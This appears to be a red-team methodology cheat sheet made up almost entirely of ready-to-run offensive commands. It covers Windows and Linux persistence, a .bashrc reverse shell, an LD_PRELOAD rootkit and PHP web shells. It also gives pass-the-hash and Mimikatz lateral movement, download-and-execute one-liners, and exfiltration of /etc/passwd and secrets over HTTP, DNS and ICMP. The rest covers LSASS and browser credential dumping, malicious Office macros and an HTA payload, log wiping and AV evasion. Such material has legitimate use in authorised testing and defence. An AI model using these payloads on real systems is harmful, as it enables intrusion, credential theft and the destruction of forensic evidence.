## Red Team Methodology

### 1. Establishing Persistence

**Windows Persistence:**
```powershell
# Registry run keys
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru SYSTEM

# Service creation
sc create "WindowsUpdate" binpath= "C:\Windows\Temp\backdoor.exe" start= auto
sc start "WindowsUpdate"

# WMI subscription
$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name="Filter";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="Consumer";CommandLineTemplate="C:\Windows\Temp\backdoor.exe"}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$Filter;Consumer=$Consumer}

# Startup folder
copy C:\Windows\Temp\backdoor.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
```

**Linux Persistence:**
```bash
# Cron job
echo "*/5 * * * * /tmp/.backdoor" | crontab -
# Or persistent across reboots
echo "@reboot /tmp/.backdoor" | crontab -

# Systemd service
cat > /etc/systemd/system/backdoor.service <<EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always

[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor.service
systemctl start backdoor.service

# SSH key
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Bashrc backdoor
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &" >> ~/.bashrc

# LD_PRELOAD rootkit
# Create malicious library
gcc -shared -fPIC -o evil.so evil.c
echo "/path/to/evil.so" > /etc/ld.so.preload
```

**Web Shells:**
```php
# Simple PHP web shell
<?php system($_GET['cmd']); ?>

# More advanced
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
```

### 2. Lateral Movement

**Pass-the-Hash:**
```bash
# Using Impacket
impacket-psexec -hashes :ntlmhash domain/user@10.10.10.10
impacket-wmiexec -hashes :ntlmhash domain/user@10.10.10.10
impacket-smbexec -hashes :ntlmhash domain/user@10.10.10.10

# Using CrackMapExec
crackmapexec smb 10.10.10.0/24 -u Administrator -H ntlmhash
crackmapexec smb 10.10.10.10 -u Administrator -H ntlmhash -x "whoami"
```

**Pass-the-Ticket:**
```powershell
# With Rubeus
Rubeus.exe asktgt /user:Administrator /rc4:ntlmhash /ptt
Rubeus.exe ptt /ticket:ticket.kirbi

# With Mimikatz
mimikatz.exe "sekurlsa::tickets /export" exit
mimikatz.exe "kerberos::ptt ticket.kirbi" exit
```

**WMI/DCOM:**
```powershell
# WMI command execution
wmic /node:10.10.10.10 /user:domain\user /password:pass process call create "cmd.exe /c calc.exe"

# PowerShell WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe" -ComputerName 10.10.10.10 -Credential (Get-Credential)

# DCOM
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.10"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","Minimized")
```

**PowerShell Remoting:**
```powershell
# Enable on target
Enable-PSRemoting -Force

# From attacker
$Session = New-PSSession -ComputerName 10.10.10.10 -Credential (Get-Credential)
Invoke-Command -Session $Session -ScriptBlock { whoami }
Enter-PSSession -Session $Session

# Execute script
Invoke-Command -ComputerName 10.10.10.10 -FilePath script.ps1
```

### 3. File Transfer Techniques

**Windows Download:**
```powershell
# PowerShell
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe","C:\Temp\file.exe")
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# certutil
certutil -urlcache -f http://10.10.10.10/file.exe file.exe

# bitsadmin
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe
```

**Linux Download:**
```bash
# wget
wget http://10.10.10.10/file -O /tmp/file

# curl
curl http://10.10.10.10/file -o /tmp/file

# Execute in memory
curl http://10.10.10.10/script.sh | bash
wget -qO- http://10.10.10.10/script.sh | bash
```

**SMB Transfer:**
```bash
# Start SMB server (attacker)
sudo impacket-smbserver share /tmp/share -smb2support

# Access from Windows target
copy \\10.10.10.10\share\tool.exe C:\Temp\
\\10.10.10.10\share\tool.exe
```

**Exfiltration:**
```bash
# HTTP POST
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# DNS exfiltration
for data in $(cat secret.txt | base64 | tr -d '=' | fold -w 32); do
  dig $data.attacker.com @dns-server
done

# ICMP exfiltration
cat file.txt | xxd -p -c 16 | while read line; do
  ping -c 1 -p $line 10.10.10.10
done
```

### 4. Credential Harvesting

**Windows Credentials:**
```powershell
# Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz.exe "lsadump::sam" exit
mimikatz.exe "lsadump::secrets" exit

# Without Mimikatz
# Dump LSASS
procdump64.exe -ma lsass.exe lsass.dmp
# Parse offline with pypykatz
pypykatz lsa minidump lsass.dmp

# SAM/SYSTEM hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# Extract with secretsdump
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

**Linux Credentials:**
```bash
# Shadow file
cat /etc/shadow

# SSH keys
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null

# Browser passwords
# Firefox
find ~/.mozilla/firefox -name "logins.json"
# Chrome
find ~/.config/google-chrome -name "Login Data"

# History files
cat ~/.bash_history | grep -i password
cat ~/.mysql_history
```

**Network Credentials:**
```bash
# Responder (LLMNR/NBT-NS poisoning)
sudo responder -I eth0 -wrf

# Inveigh (PowerShell)
Invoke-Inveigh -ConsoleOutput Y

# Capture hashes and crack
hashcat -m 5600 hashes.txt wordlist.txt
```

### 5. Phishing Operations

**Gophish Setup:**
```bash
# Install Gophish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
# Configure and run
./gophish
# Access at https://localhost:3333
```

**Social Engineering Toolkit (SET):**
```bash
# Launch SET
setoolkit

# Common attacks:
# 1) Credential harvester
# 2) Infectious media generator
# 3) Tabnabbing attack
# 4) Multi-attack web method
```

**Phishing Payloads:**
```vbscript
' Malicious macro
Sub AutoOpen()
    Shell "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')"
End Sub
```

```html
<!-- HTA payload -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
window.close()
</script>
</head>
</html>
```

### 6. Operational Security

**Anti-Forensics:**
```powershell
# Clear Windows event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath

# Timestomp (Metasploit)
timestomp file.exe -m "01/01/2020 12:00:00"
```

```bash
# Clear Linux logs
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > ~/.bash_history
history -c

# Disable history
unset HISTFILE
export HISTSIZE=0
```

**Detection Evasion:**
```bash
# Obfuscate PowerShell
# Use Invoke-Obfuscation
Invoke-Obfuscation
# Encode commands
$command = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -enc $encoded

# AV evasion
# Use Veil, Shellter, or custom packers
```
